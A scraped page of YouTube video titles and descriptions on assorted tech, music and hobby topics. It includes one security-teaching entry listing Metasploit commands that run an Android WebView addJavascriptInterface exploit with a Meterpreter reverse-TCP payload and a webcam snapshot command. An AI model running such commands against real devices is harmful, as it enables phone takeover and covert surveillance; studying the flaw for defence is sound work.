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Stop the stringing with Retraction! 3D Printing 101
 
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Retraction is a super useful setting you can use within your slicer to greatly improve the quality of your 3D Prints, but it's very misunderstood! In this 3D Printing 101 we'll go through the basics of what retraction settings are and how you can tweak them. You'll be amazed by how much of a difference correct retraction can make! This video is proudly supported by Simplify3D. Visit https://www.simplify3d.com/ to learn more. Don't forget to subscribe so you don't miss any future 3D Printing Reviews, Tutorials or Projects! --- Like what we do? Visit us at makersmuse.com for more information about Makers Muse! Say G'day to us on Twitter and Instagram @makersmuse Ways you can support Maker's Muse: -Want to buy a 3D Printer but don't know where to start? Get our eBook here! https://gumroad.com/products/NBvg/ - Support us on Patreon https://www.patreon.com/makersmuse?ty=h -Buy a T-shirt! http://www.redbubble.com/people/makersmuse/shop - By using our amazon affiliate links US - http://amzn.to/1Ym50j1 UK - http://amzn.to/1PJICdR Or a direct donation through Youtube And lastly, a BIG thanks to the community, and those who have supported us here at Makers Muse! ----
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Java Programming Tutorial - 12 - Switch Statement
 
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Java Programming Tutorial - 14 - Using Multiple Classes
 
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Wintergatan - Marble Machine (music instrument using 2000 marbles)
 
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Get the audio track "Marble Machine" by Wintergatan: https://wintergatan.bandcamp.com/track/marble-machine Marble Machine built and composed by Martin Molin Video filmed and edited by Hannes Knutsson Costume designed by Angelique Nagtegaal See Sommarfågel music video by Wintergatan: https://youtu.be/SBK2AF-NdVA See Starmachine2000 music video by Wintergatan: https://youtu.be/rEeiRXOlWUE Swedish band Wintergatan will play live concerts starting from summer 2016. For Press Related Questions email Elaine & Emma: [email protected] [email protected] -ウィンターガタン、ニューアルバム「ウィンターガタン」発売中! 日本版は豪華DVD付き! http://www.amazon.co.jp/dp/B00FSMQ1HG Hannes Knutssons Youtube Channel: https://www.youtube.com/user/lefvandebilder Special thanks to Marcus Dimbodius who has been around throughout the whole build and suggested the cymbal placement and the use of the conveyer belt for the marble transportation. Dimbodius is an artist from Gothenburg: https://www.youtube.com/user/dimbodius Martin & Co. -------------------- This week i assembled the most gorgeous machined Aluminium Bearing Housings Made by Alexcnc from the MMX Team. They are adjustable for the Depthing of the gears. We are also implementing the new PBS - Product Breakdown System for the Whole MMX. Chris, the new project manager has introduced me to the sacred lands of Excel heaven and although there is a lot of initial work we have to do to make this function properly, the long term efficiency will improve a lot! We are taking the MMX from being a one off DIY maker project to being a scalable, fully fledged - ready to build for any competent group of people - machine. Its really great! Enjoy and have a great day! Martin #marble #welding #making ——————————— If you want to SUPPORT US: The fact that you are watching the videos and care about the music and future of Wintergatan is the best support anyone can have, I want to thank everyone who is here for that kind of support, it is really the fuel for the Wintergatan Engine. If you apart from that further want to support the projects, we have these different options set up: YOUTUBE MEMBERSHIP ►Support by Joining the Wintergatan Youtube Channel by clicking the blue JOIN button next to subscribe or go here: https://www.youtube.com/user/wintergatan2000 As a Member you'll have a Wintergatan badge next to your comment, long term members receive guest list tickets and early access to ticket sales for the upcoming world tour. PATREON ►http://www.patreon.com/wintergatan PAYPAL ME ►http://www.paypal.me/wintergatan Why do we accept support in this way? I, Martin, can already sustain myself 100% doing what I love to do. If you want to support artists/organisations who have not yet reached that privileged position, please consider supporting other artists/organisations who need the support more. With that said, I have too many ideas and too little time and with your support I can get more help from people around me to execute the ideas better and bring them out in the world faster. Read a longer statement on this here: ►http://www.wintergatan.net/#/post/105/Supporting-Wintergatan ———————————— MUSIC DIGITAL MUSIC DOWNLOADS ►https://wintergatan.bandcamp.com WINTERGATAN RECORDS ►http://www.wintergatan.net/#/shop SPOTIFY ►http://bit.ly/2oKxXWd ITUNES ►http://apple.co/2ntWNsZ ———————————— SOCIAL SUBSCRIBE ON YOUTUBE ►https://www.youtube.com/user/wintergatan2000 INSTAGRAM ►https://www.instagram.com/wintergatan2000 REDDIT ►https://www.reddit.com/r/MarbleMachineX/ DISCORD ►https://discord.gg/QdNwA5Y Thanks to www.CNCRouterparts.com and www.Matterhackers.com for providing the CNC Machine and the 3D Printer for the Marble Machine X Project!
Views: 86643144 Wintergatan
17 Incredible 3D Printed Objects
 
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From beautiful and unbelievable instruments that actually work to even things like an incredible 3D printed pizza made by NASA! Subscribe to Talltanic http://goo.gl/wgfvrr # 10 3D-Printed Ear You’ve seen 3D printing make fashion garments and body prosthetics, so it’s not too much of a leap to imagine a 3D printed organ. Scientists at Princeton University designed this bionic ear that can actually hear even better than human ears. The 3D printed cells and nanoparticles with a small coil antenna create the cyber ear that can be installed onto a real human and hear radio frequencies a million times higher than our own ears. # 9 3D-Printed Cast Jake Evill was a recent graduate of Victoria University when he broke his hand and was stuck with an arm cast that he found “archaic.” So he designed a cast for the millennial: a 3D printed, lightweight, washable, and breathable. It lets in air and prevents that age-old feeling of gross itchiness and suffocation the usual plaster casts come with. Plus, they just look super cool. # 8 3D Printed Pizza Try explaining to someone from 10 years ago that NASA funded a 3D printing project to print pizza. Well, that’s the reality we are living in. The company known as BeeHex was commissioned by NASA to develop palatable food for astronauts’ deep space journeys to Mars. The printer can create specific flavors and toppings and even shapes based on scanned .JPEG files to keep those bored astronauts appeased on their years-long journey. Humans aren’t scheduled to make any trips to our sister planet until the early 2030s, so we’ll probably be seeing these printed pizzas at theme parks and novelty restaurants until then. # 7 Shakuhachi Flute The Shakuhachi flute is a beautiful Japanese flute from the ancient Edo period that is classically made from a bamboo shoot. In 2016, you can now 3D print one out of stainless steel with matte or gold finishes and an intricate dragon design. You can own this ancient instrument for as little as 240 dollars. # 6 3D Fetus 3D scans of your unborn fetus can be a little confusing to look at or understand. Now, you can get a 3D print of your fetus to hold and touch and see. For as little as 1275 US dollars a Japanese company will create a small sculpture with a software called Biotexture. # 5 3DVarius Violin If you’re into instruments at all you’re probably aware of the Stradivarius Violins and string instruments renowned for their well-made instruments. The 3Dvarius violins brings that model to the modern age with a slick 3D printed polymer design and funky synthetic sound. While it is based on the Stradivarius violins, it’s goal was to be it’s own unique shape and have it’s own unique sound. #4 Tampon Magazine Here’s something I’m sure none of us thought would exist: a Tampon Magazine. It’s meant to make you have fun and feel cute storing your tampons in a hyper-femme bullet style box, letting you shoot ‘em out whenever you need. It isn't really space efficient or practical but it is a way to bring something fun into what is arguably the worst time of any lunar cycle. #3 3D Printed Medical Models Surgeons and medical practitioners often have to practice procedures on dummy models or cadavers, but as you can imagine those options are either slightly inaccurate or expensive and a limited resource. Now, with 3D printed models practice dummies are easier to come by AND more accurate which is great for patients and surgeons alike. # 2 3D Printed Buildings When you think about 3D printing, you usually imagine printing little gadgets, lifehacks, and little things that make your life easier. If you take that to its logical conclusion, you might wonder if we'll ever have 3D printed buildings and housing. Well, we do, and they were printed and constructed by WinSun in China. These two buildings were constructed from parts entirely made with specially made 3D printing technology including the plumbing, wiring, and entire foundations. # 1 3D Printed Camera Lens This camera - including the lens - was made completely with a 3D printer, and it actually works! Camera lenses are made from either acyrlic or sandblasted resin, and it has all the moving parts that allow you to change aperture, load and unload film. The photos that come from this 3D printed camera aren’t exactly crisp or super pristine, but they have a dreamy quality about them that you would expect to come out of a handcrafted camera.
Views: 4753158 Talltanic
Light painting tutorial - Camera settings for creative photos - Kingston indieHACK Ep. 4
 
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Create light painting night photography using readily available items like toys and Christmas lights. Light painting lets you create unique photographs that make a statement. Learn how to adjust your camera’s settings to take long exposures of various moving light sources for an interesting light art effect. Learn how to light paint with a string of lights, create a light orb and even learn portrait light painting. Subscribe for more episodes: https://www.youtube.com/subscription_center?add_user=KingstonTechMemory Transcript: This is really hard. Hi, I'm Khail Anonymous, and welcome again to Kingston's indieHACK. On today's episode of indieHACK, we'll be teaching you how to do light painting. Look, Mom, a Jedi. So, what is light painting? It's essentially a photographic technique in which you take a very long exposure photo with the moving light source or sources and it creates a cool laser effect. It's fun, it's creative and it's actually pretty easy to set up. To get started you'll need three things. A camera, so your DSLR or even you smart phone, a mount to keep those shots steady, so a tripod or those binder clips we showed you in episode one. And lastly a light source that you can easily move around. So a flashlight, any of these cool things, or the light from your smartphone. And don't forget to load up your camera with some reliable memory. We're gonna be using this guy today, Kingston's SDXC class 10 card, it's great for photos and HD video. Next you're gonna wanna make some changes to your camera settings. Make sure your camera is on manual mode, and set your exposure time between 10 and 30 seconds. Next set your iSO to 100, and your F stop between f/8 and f/22. Make sure to manually focus your camera before you start shooting. Then turn off all your lights, and you're ready to go. Now, take a picture, and during your camera's long exposure, write a word or draw a symbol or just any crazy thing that comes to your mind. Have fun, and mess around with the settings, so you can really perfect your light paint. Now that you've perfected the basics of light painting, It's time to try out some of these tricks. This first hack we call the string light stick. Simply get some string lights, and then something to attach it to whether it be a rod or a ruler, and then grab some tape, attach your string lights to the rod or ruler, and make sure to evenly space them out. Make sure they're facing the same direction. Set up your camera, and start taking photos. It's gonna make these really cool streak patterns for you. Next up is the light or grab your string lights and tape them together in a bunch. Then find a center point on the floor by putting down a quarter or something. Then put your hand over that point and stay in that point as you rotate around swinging your string lights. It should create a pretty cool orb effect. This next trick is called Portrait Light Painting. This all allow you to add a subject to your light painting. So you can come up with some pretty cool shots with the same setup as a basic light painting only you'll need a second light source And a friend to help you out. Pick a subject. It could be an inanimate object, it could be your friend, and then focus on your subject before you turn out the lights. What you should get is an image with a subject surrounded by really cool light streaks. Now that you've learned all these tricks, try and combine them and make some really cool light painting photos. So that's our episode on light painting. It's a fun and easy hack you can do with your friends and it'll make some really awesome photos. So get out there and try it out. And don't forget to subscribe to the Kingston channel for more indieHACK episodes. See you guys next time.
Views: 842919 Kingston Technology
Wireshark 101: Display Filters and Filter Options, HakTip 122
 
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On today's HakTip, Shannon Morse discusses the Display Filter Box and several options you have for saving filters within Wireshark. One question I got from last week's episode was "What happens to the rest of your packets when you use the filter box?". This box is for Display Filters. Whenever you use it after running a packet capture, it'll just display whatever you typed in. Everything else is simply omitted until you clear the filter text box. The Expression box will basically fill in the expressions the same way. Click Expression, then choose a Field name and preferred expression. Choose the relation, and the value. The value for an IPV4 protocol would be an IP address. You can also choose from predefined values if available. Once you hit OK the new filter will show up in the filter box. Hit enter to run that filter. If you want to save your filter, hit save, name it, and hit OK. How you can just click on the bookmarked filter and it'll run. Let's have some more fun. If you want to view packets of a specific size, use frame.len less than sign= 128. I could also use ==, !=, greater than sign, less than sign, less than sign=, or greater than sign=. And if I have two expressions I want to combine, use the &&, bracket bracket, not, or xor. xor means one and only one condition must be true. Nor means neither condition is true. You might end up writing out a really long filter. You have a lot of options to save them, luckily. You can use the save button next to the filter display box. Of you can use the filter button next to the box. Lastly, you can also use the analyze -- display filters option. Now let's have some fun with Endpoints. These are where the data is going to and coming from, so there's usually a two-ended conversation happening within your packet captures. To see traffic between endpoints, click Statistics -- Endpoints. Clicking Statistics -- Conversations will show you address A and address B for each conversation, separated by protocol. Let me know what you think. Send me a comment below or email us at [email protected] And be sure to check out our sister show, Hak5 for more great stuff just like this. I'll be there, reminding you to trust your technolust. -~-~~-~~~-~~-~- Please watch: "Bash Bunny Primer - Hak5 2225" https://www.youtube.com/watch?v=8j6hrjSrJaM -~-~~-~~~-~~-~-
Views: 19968 Hak5
Java Programming Tutorial - 15 - Use Methods with Parameters
 
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Top 10 Hidden Windows Features (You'll Wish You Knew Sooner)
 
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The 10 best secret Windows features you don't know about! More Top Lists ▶ https://www.youtube.com/playlist?list=PLFr3c472Vstw-sCvBrlRTelW3ULg1-w3n Subscribe Here ▶ https://www.youtube.com/user/ThioJoe?sub_confirmation=1 "GodMode" string: WhateverName.{ED7BA470-8E54-465E-825C-99712043E01C} Windows is the most popular operating system for computers, so you would think that with so many people using it, everyone would know all of it's features. But it turns out there are plenty of hidden secret features in Windows that you almost never hear about. This video goes over the 10 best Windows features and programs that you might not know about. My Twitter ▶ https://twitter.com/ThioJoe ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
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Brush Smoothing in Photoshop CC 2018
 
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Photoshop can now perform intelligent smoothing on your brush strokes. Simply enter a value (0-100) for Smoothing in the Options bar when you're working with one of the following tools: Brush, Pencil, Mixer Brush, or Eraser. A value of 0 is the same as legacy smoothing in earlier versions of Photoshop. Higher values apply increasing amounts of intelligent smoothing to your strokes. Stroke smoothing works in several modes. Clicking the gear icon to enable one or more of the following modes: 1. Pulled String Mode Paints only when the string is taut. Cursor movements within the smoothing radius leave no mark. 2. Stroke Catch Up Allows the paint to continue catching up with your cursor while you've paused the stroke. Disabling this mode stops paint application as soon as the cursor movement stops. 3. Catch-Up On Stroke End Completes the stroke from the last paint position to the point where you released the mouse/stylus control. 4. Adjust For Zoom Prevents jittery strokes by adjusting smoothing. Decreases smoothing when you zoom in the document; increases smoothing when you zoom out. While using stroke smoothing, you may choose to view the brush leash, which connects the current paint location with the present cursor position. Select Preferences - Cursors - Show Brush Leash While Smoothing. You can also specify a color for the brush leash.
Views: 4953 Yes I'm a Designer
The Beginning Begins | Fantasy High [Full Episode]
 
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All new, uncensored comedy at DROPOUT.TV , sign up at: https://bit.ly/2A1KUmX The cast introduces their PCs, including a neurotic elf, a goblin PI, and a corn-worshipping cleric. The adventure continues on DROPOUT.TV. Start your free trial now. FOLLOW THE CAST: ALLY: http://www.twitter.com/lilbeardsley GRANT: http://www.twitter.com/grantob KATIE: http://www.twitter.com/katiemarovitch TRAPP: http://www.twitter.com/mikewtrapp RAPH: http://www.twitter.com/chestangraphael REKHA: http://www.twitter.com/rekhalshankar BRENNAN: https://twitter.com/brennanlm SAM: http://www.twitter.com/samreich See more http://www.collegehumor.com LIKE us on: http://www.facebook.com/collegehumor FOLLOW us on: http://www.twitter.com/collegehumor FOLLOW us on: http://www.collegehumor.tumblr.com SIGN UP for our emails: http://bit.ly/2E6svor CAST Brennan Lee Mulligan Zac Oyama Ally Beardsley Siobhan Thompson Emily Axford Brian Murphy Lou Wilson CREW Director - Michael Schaubach Writer - Brennan Lee Mulligan Producer - Lucretia Stinnette Production Coordinator - Ebony Hardin Director Of Photography - Kenny Keeler Production Designer - Richard H. Perry HMU - Jesica Southard Sound - Kyle McLane Editor - Noah Diamond
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FINAL BOSS: DOM Manipulation & Event Listeners | Simple Javascript Training Tutorial
 
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FULL CODE + IMAGES + SLIDES @ http://blog.breakthru.solutions/learn-javascript-simple-project-rock-paper-scissors PLAYLIST: https://www.youtube.com/playlist?list=PLRcnnTsvnkLN0VUFnWMfxhW-20pWBT4cJ FOLLOW ME ON TWITTER: https://twitter.com/thepowerslacker FURTHER READING Event Listeners: https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener FROM THE DOCS The EventTarget.addEventListener() method registers the specified listener on the EventTarget it's called on. The event target may be an Element in a document, the Document itself, a Window, or any other object that supports events (such as XMLHttpRequest). Parameters type A string representing the event type to listen for. listener The object that receives a notification (an object that implements the Event interface) when an event of the specified type occurs. This must be an object implementing the EventListener interface, or simply a JavaScript function. options Optional An options object that specifies characteristics about the event listener. The available options are: capture: A Boolean that indicates that events of this type will be dispatched to the registered listener before being dispatched to any EventTarget beneath it in the DOM tree. once: A Boolean indicating that the listener should be invoked at most once after being added. If it is true, the listener would be removed automatically when it is invoked. passive: A Boolean indicating that the listener will never call preventDefault(). If it does, the user agent should ignore it and generate a console warning. mozSystemGroup: Available only in code running in XBL or in Firefox' chrome, it is a Boolean defining if the listener is added to the system group.
Views: 2212 Powerslacker
The Weeknd - Often (NSFW)
 
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The Weeknd - Often (NFSW Official Video) Download Song: http://theweeknd.co/BeautyBehindTheMadness Taken from the new album Beauty Behind The Madness Stream/Share on Spotify: https://open.spotify.com/track/4AILWMTyKIlicSfDVNtZQD Connect with The Weeknd: http://www.instagram.com/abelxo http://www.twitter.com/TheWeeknd http://www.facebook.com/theweeknd http://www.theweeknd.com Music video by The Weeknd performing Often. © 2014 The Weeknd XO, Inc., Manufactured and Marketed by Republic Records, a Division of UMG Recordings, Inc. http://www.vevo.com/watch/USUMV1400286 Best of The Weeknd: https://goo.gl/76DXjL Subscribe here: https://goo.gl/GWXGWM
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(Autoit) _HttpRequest GET, POST Demo chiasenhac.com (WinHttp)
 
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Link download :http://ouo.io/MKYAjS link hướng dẫn : (ở trên lun) link test.au3 : https://0bin.net/paste/3k8mLE0+a7i25+6l#xeOqb9o83wxKB-MGCLXtyhUw9AUJM6YXM7WC4TLxxnH Ủng hộ mình (donate): https://unghotoi.com/1500715724vedyl Paypal: paypal.me/autoittutorial autoit http request autoit http request cookie autoit http request post autoit make http request autoit http get request autoit send http request http request http request methods http request headers http request and response http request format http request javascript http request c# http request node http request python http request java http request example http request android http request and response in java http request angular 2 http request angular http request and response headers http request accept header http request api http request authorization header http request attributes http request body http request builder http request bin http request basic authentication http request body json http request blocker http request body c# http request body golang http request boundary http request browser http request codes http request content type http request configuration url must be a string http request cookie http request cancelled http request content length http request components http request chrome http request client http request defaults in jmeter http request download file http request data http request diagram http request delete http request django http request default timeout http request definition http request debugger http request data type http request error http request encoding http request explained http request express http request example java http request esp8266 http request end http request example c# http request entity http request failed http request fields http request from javascript http request format example http request flow http request failed git http request form data http request file http request failed http/1.1 403 forbidden http request golang http request get http request generator http request get body http request get url http request gzip http request get header http request generator tool http request groovy http request get example http request header example http request head http request host http request header authorization http request header accept http request handler http request header referer http request html http request header origin http request in java http request in javascript http request in android http request in angularjs http request in python http request in angular 2 http request in php http request in node js http request in c# http request id http request json http request java example http request jquery http request jmeter http request json response http request javascript json http request json body http request jenkins http request keep alive http request key value http request keep alive timeout http request kotlin http request keep alive java http request keep alive c# http request keep-alive header http request kerberos http request key http request keywords http request line http request life cycle http request logger http request laravel http request limit http request library http request log http request locale http request life cycle in java http request library java http request message http request message format http request maker http request method options http request methods in java http request max size http request methods salesforce http request mime type http request methods in php http request npm http request no cache http request node example http request node iib http request namespace http request no response http request node red http request not found http request numbers http request online http request options http request object http request origin http request options nodejs http request objective c http request object java http request overhead http request open http request over telnet http request parameters http request php http request post http request payload http request parts http request properties http request put http request plugin http request port http request query string http request query parameters http request queue http request query http request qt http request question mark http request queuing http request query parameters c# http request queue c# http request query parameters array http request response http request response cycle http request response model http request referer http request ruby http request react
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Android and Exploit Example (WebView)
 
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The video outlines the Android WebView addJavascriptInterface Code execution Vulnerability: http://asecuritysite.com/subjects/chapter46 Note you may need to use: webcam_snap -i 1 To use Camera 1. Commands used: msfconsole msf - use exploit/android/browser/webview_addjavascriptinterface msf exploit(webview_addjavascriptinterface) - show options Module options (exploit/android/browser/webview_addjavascriptinterface): Name Current Setting Required Description ---- --------------- -------- ----------- Retries true no Allow the browser to retry the module SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Payload options (android/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- AutoLoadAndroid true yes Automatically load the Android extension LHOST yes The listen address LPORT 4444 yes The listen port RetryCount 10 yes Number of trials to be made if connection failed Exploit target: Id Name -- ---- 0 Automatic msf exploit(webview_addjavascriptinterface) - set LHOST 192.168.0.24 msf exploit(webview_addjavascriptinterface) - set URIPATH Security msf exploit(webview_addjavascriptinterface) - exploit
Views: 24237 Bill Buchanan OBE
jQuery UI Datepicker: How to Enable Dates Before/After Specific Dates in Datepicker
 
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https://www.udemy.com/jquery-web-development-made-easy/?couponCode=TUBECUST Practical jQuery: Build 9 jQuery Projects https://www.udemy.com/jquery-ui-practical-build-jquery-ui-projects/?couponCode=YOU-CUST jQuery UI in Action: Build 7 jQuery UI Projects https://www.udemy.com/hands-on-jquery-jquery-examples/?couponCode=YouCust Hands-On jQuery: jQuery Examples Find all our Udemy courses here: https://www.udemy.com/user/cryptersinfotech/ jQuery UI Datepicker: How to Enable Dates Before/After Specific Dates in Datepicker We have already seen how to disables some dates in jQuery UI Datepicker using beforeShowDay option. In this video, we will see how to enable dates after a specific date using minDate option and how to enable dates before a specific date using maxDate option. These options are really useful when you have to enable or disable consecutive dates in jQuery UI Datepicker. You can set the value of minDate and maxDate in the form of a Date object, number or string. If you set the value of minDate to new Date(2015, 0, 5), then dates till 5th January 2015 will be disabled. In other words, only dates from 5th January 2015 will be selectable or clickable. If you set the value of minDate to -2, then only dates from day before yesterday (2 days before today) will be enabled. If you set the value of minDate to -1m (y for year, m for month, w for week and d for day), only dates from one month before will be selectable. If you set the value of minDate to 0, only dates from current day (today) will be enabled. Similar is the case with maxDate. To know how to write jQuery code easily, see this video: http://youtu.be/ifus3baASaQ To know how to reference jQuery UI files correctly, see the video at http://www.youtube.com/watch?v=vUUNH0zUeOg To know how to mark holidays in jQuery UI datepicker, see the video at http://youtu.be/Aj00lQlMVPU To know how to disable required dates in jQuery UI datepicker https://youtu.be/vUUNH0zUeOg To know how to enable dates before/after specific dates in jQuery UI datepicker https://youtu.be/tNAmUH_RsrI To know how to format selected date in jQuery UI datepicker, see the video at: https://youtu.be/zlZnAqYPZVc
Views: 20867 Crypters Infotech
Delphi Programming Tutorial - Unit 6.10: Exploring RichEdits (TRichEdit Class)
 
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Delphi Programming Tutorial - Unit 6.10: Exploring RichEdits (TRichEdit Class): We will learn about RichEdits (the TRichEdit class) in this video. We use a TRichEdit object to place a standard Windows rich text edit control on a Form. Rich text edit controls let the user enter, edit, format, print, and save text that includes variation in font and paragraph formatting. TRichEdit has properties and methods to enter and work with rich text. TRichEdit does not provide any user interface components to make these formatting options available to the user. Programmers must implement the user interface components in their applications to surface the rich text capabilities of a TRichEdit object. To make this easier, a number of pre-defined standard actions operate on a rich edit control to perform common formatting tasks. Rich Edit provides a simple Print method allowing you to programmatically print the (formatted) contents of the rich edit to the active printer - with a single line of code. In this tutorial, we complete the Graphical User Interface for the Contact Information project that we worked on in previous tutorials. We add a TRichEdit on our Form and set some of its properties in the Object Inspector. We explore the various options of the TRichEdit's ScrollBars property. After we completed the tutorial the following values must be set for the properties of our TRichEdit: - Lines - [Empty] : Remove all the lines; - ReadOnly - True: User is not allowed to enter or edit values; - Height - 200 - Left - 30 - Top - 290 - Width - 475 This Delphi programming tutorial is best viewed in HD. To change your settings to HD: 1. Click on the Gear-icon (Settings) at the bottom of the YouTube Video Player. 2. Select "720p HD" and wait a few moments for the setting to take effect. Enjoy! For more Delphi video tutorials also join us at https://www.learndelphi.net. You may also want to visit the following resources for more information: https://cc.embarcadero.com https://www.lazarus-ide.org https://www.planet-source-code.com https://www.delphi.about.com https://www.embarcadero.com https://www.edn.embarcadero.com http://techteachers.co.za http://www.studyopportunities.co.za https://www.facebook.com/DelphiSchools http://www.lazarus-ide.org/ http://www.delphibasics.co.uk http://docs.embarcadero.com/products/rad_studio/delphiAndcpp2009/HelpUpdate2/EN/html/delphivclwin32/ComCtrls_TRichEdit.html http://stackoverflow.com/
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Software Tutorial - PV*SOL premium - Map Import and Extrusion Of 3D Objects for fast PV Systems
 
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Free trial versions: http://www.valentin-software.com/services/fw/yt-tut-en/dl-pvsolprem-en Transskript: Software Tutorial PV*SOL premium Map Import and Extrusion Of 3D Objects (Since Version 2016) This tutorial shows how quickly and easily you can create simple standard buildings and configure a photovoltaic system in PV*SOL premium 2016 without a costly local meeting. In this release, many time-consuming steps have been simplified, considerably accelerating the design process. This is achieved mainly through the new features "Map Import" and "Extrusion Of 3D Objects" First, start PV*SOL premium 2016 or a later version. You are now on the "Welcome Page" of the application. We will now reproduce a simple house with a hipped roof. Please begin a new project. We have chosen Los Angeles as the location. Now click on the button "3D Design" and then on the overview screen to get into the "3D Visualization". In the dialog "New 3D System" click on the button "Coverable Object" and select the menu item "Map Section" in the drop down menu. Now you see an expanded view of the dialog, in which a city map is shown on the top right. Click on it. This opens a new dialog with a large map. The map service that provides the map data is "Bing Maps" from Microsoft. This service offers high-resolution aerial photographs, especially in urban areas. An address field is located on the top left, in which you can mark off the location of the building. We are interested in this object. Use the arrow buttons and the buttons with the magnifying glass icon next to the address field to adjust the map section, so that the target building and relevant surrounding shading objects can be seen on it. You can scroll with the mouse wheel and you can move the image with the left mouse button. The resulting "pixels per meter" determined by the map service are shown in the field "scale". If you have different data available, you can change the value. Alternatively, you can also use your own map sections, floor plans or cadastral maps and upload them as image files from the hard disk. Click on "Start" to begin the project. The software zooms immediately into the "Object View" on the map, and you can begin to sketch the floor plans. At first we sketch a polygon for the target building. Click on this button to begin the process. The polygon can be drawn by clicking on the map section. Please draw accurately. You can interrupt tracing and draw a further polygon with the Enter Key. Because the house is a building with a hipped roof, we draw a distance which marks the ridge in the next step. With the Right Mouse Button or the Escape Key you can terminate the sketching. If you have forgotten a corner, you can insert it by pressing the Shift Key + Mouse Click later on. The plan can then be extruded. Click on the polygon and select the context menu item "Extrude 3D Object". It opens the dialog "Recognize 3D Object". Since the ridge is drawn slightly shorter than the longer side of the ground floor, the structure was automatically recognized as "Rectangular 3D Object With Ridge" and a "Building With Hipped Roof" is then offered as the preselection. All dimensions as well as the orientation are already taken from this building. And the map section, where the house stands, has already been transferred to the roof surfaces of the hipped roof. Now only the data for the eaves must be entered, i.e. the height of the ground floor and the roof slope to the longer eave. This data cannot be read out of the map section and should be requested from the end customer. Here we have some shading caused by a tree. This can also be sketched and will be included in the shading simulation. Since the object is to be covered with PV modules in the next step, it must be added to the coverable objects. Then click "Activate". PV-SOL offers an automatic method of assigning the modules, which guarantees the optimal utilization of the roof space. We can execute a shading analysis now. So hit this button. You will see some moderate shading on the bottom right. The PV module is uneconomical and can be removed. End of tutorial Thanks for watching! For more PV*SOL premium tutorials please check out my channel. You can also start discussions on feed-in tariffs, renewable energy, energy policy, funding, etc. The computer program featured is PV*SOL premium, a design software from Valentin Software in the fields of photovoltaics and renewable energy. The software focuses on design support and yield calculation. The integrated 3D visualization determines the impact of shading on the yield. PVSOL premium also calculates the cost-effectiveness of photovoltaic systems with and without self-consumption. Similar to: Google Sketchup
Views: 15455 Solar Engineer
How To Use the iPhone X Camera Tutorial - Tips, Settings & Full Portrait Mode Tutorial
 
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A video tutorial on how to use the iPhone X camera. Full of photo and video tips, tricks and settings to help you take the best pictures. I will also show you how to use portrait mode on the iPhone X both in the camera app and in the photos app. iPhone Camera Lenses http://amzn.to/2zvNnEs More iPhone X Tips, Tricks and Tutorials http://bit.ly/iPhoneXTips Follow Me On Other Social Media Sites http://www.facebook.com/DHTVTech Twitter - http://twitter.com/dandepenta Instagram - http://instagram.com/dandepenta Subscribe - http://youtube.com/user/danshowtovideos More iPhone Videos http://howtouseyouriPhone.com
Views: 215925 DHTV
C# Tutorial 22: Checkbox , radiobutton and groupbox with Database in C#
 
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GroupBox How to auto create radiobutton and groupbox C# C sharp tutorial How to build two radio button groups in Visual C# 2010 I need to build two groups of radio buttons, so that client can put an answer in ... your radio boxes will be grouped by which group box they are in. ... Defining environment variables for visual studio 2010 to use during build? Radio buttons and check boxes to display selected in textbox Getting User Choices: Using Check Boxes and Radio Buttons Check box, Radio button, and Group box in Visual . Let's now use the check box, radio button, and group box in a single application Radio Buttons - Visual C#
Views: 137051 ProgrammingKnowledge
The Sims 4 Tutorial - #6 - BuyDebug Lights & Hidden Objects
 
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Learn how to access the hidden objects within the game that I used in my latest house build video, Tarquin Estate (http://tss.mn/v655) Website - http://tss.mn Twitter - http://tss.mn/Twitter Twitch - http://tss.mn/Twitch Facebook - http://tss.mn/Facebook Email - contact.simsupply(at)gmail.com FAQs (PC Specs, software, hardware, etc) http://tss.mn/About My Other Channels: http://tss.mn/Flabaliki (Other games) http://tss.mn/JamesTurnerYT (Vlogs, Shorts, Extra Let's Plays) Outro Music: http://tss.mn/Outro
Views: 198237 The Sim Supply
Incels | ContraPoints
 
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Hello boys. Let's talk about bone structure. ✿Patreon: https://www.patreon.com/contrapoints ✿Donate: https://paypal.me/contrapoints ✿Merch: https://www.teepublic.com/stores/contrapoints?ref_id=5379&ref_type=aff ✿Subscribe: https://www.youtube.com/c/ContraPoints ✿Live Stream Channel: https://www.youtube.com/c/ContraPointsLive ✿Twitter: https://twitter.com/ContraPoints ✿Facebook: https://www.facebook.com/ContraPoints/ ✿Instagram: https://www.instagram.com/contrapoints/ Voiceover by Olly Thorn: https://www.youtube.com/channel/UC2PA-AKmVpU6NKCGtZq_rKQ How to block websites from you computer: https://www.wikihow.com/Block-a-Website-on-Your-Computer Music: Electronic music by Zoë Blade (http://zoeblade.com/) Mendelssohn: String Quartet No. 6 in F minor, III. Adagio (intro) Hebrides Overture (credits) Title track: https://www.youtube.com/watch?v=FUvoMMJzDhw A bunch of Chopin waltzes Check out my other videos: The West: https://youtu.be/hyaftqCORT4 Tiffany Tumbles: https://youtu.be/j1dJ8whOM8E Jordan Peterson: https://youtu.be/4LqZdkkBDas Capitalism (Part 2): https://youtu.be/AR7ryg1w_IQ Capitalism (Part 1): https://youtu.be/gJW4-cOZt8A America—Still Racist: https://youtu.be/GWwiUIVpmNY Autogynephilia: https://youtu.be/6czRFLs5JQo Violence: https://youtu.be/lmsoVFCUN3Q Degeneracy: https://youtu.be/9BlNGZunYM8 The Left: https://youtu.be/QuN6GfUix7c Decrypting the Alt-Right: https://youtu.be/Sx4BVGPkdzk
Views: 1119180 ContraPoints
6. Sign Up Form and Email Activation PHP MySQL JavaScript Programming Tutorial
 
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Lesson Code: http://www.developphp.com/video/PHP/Sign-Up-Form-and-Email-Activation-PHP-MySQL-JavaScript-Programming-Tutorial Learn to program a user sign up form and corresponding email activation script. We use HTML, CSS and JavaScript for user interfacing. The server side scripting is PHP connected to a MySQL database. Real time field restricting, user must view terms of use, real time username checking and more. Ajax is in use for all server side data transmissions. User must activate their account through email in order to interact on the site. The email activation process verifies and confirms that they have given you their real email address.
Views: 145121 Adam Khoury
CppCon 2018: Jason Turner “Surprises in Object Lifetime”
 
